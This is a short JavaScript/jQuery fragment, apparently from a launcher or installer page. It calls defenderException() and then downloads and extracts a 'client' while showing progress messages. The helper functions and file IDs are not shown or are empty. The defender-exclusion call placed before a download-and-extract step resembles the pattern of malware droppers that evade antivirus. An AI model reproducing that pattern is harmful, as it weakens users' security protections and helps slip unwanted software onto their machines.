defenderException();

$("#closed").click(function () {
    Closed();
});

$('form').submit(async function(event) {
    event.preventDefault();

    $('#download-button').prop('disabled', true).addClass('disabled');
    $('#download-button span').text('Wait...');

    const fileType = $('input[name="file_type"]:checked').val();
    const fileIds = {
        file1: '',
        file2: ''
    };
    const fileId = fileIds[fileType];

    $('#status').text('Downloading client...');

    DownloadProgress(`File: {progress}% | Speed: {speed} Mbps`);
    ExtractProgress();

    const result = await DownloadFile(fileId);

    if (result.success) {
        $('#status').text('Extracting client...');

        const extractResult = await ExtractFile(result.filePath);

        if (extractResult.success) {
            $('#status').text('Client downloaded and extracted successfully!');
        } else {
            $('#status').text(`Error extracting client: ${extractResult.error}`);
        }
    } else {
        $('#status').text(`Error downloading the client: ${result.error}`);
    }
});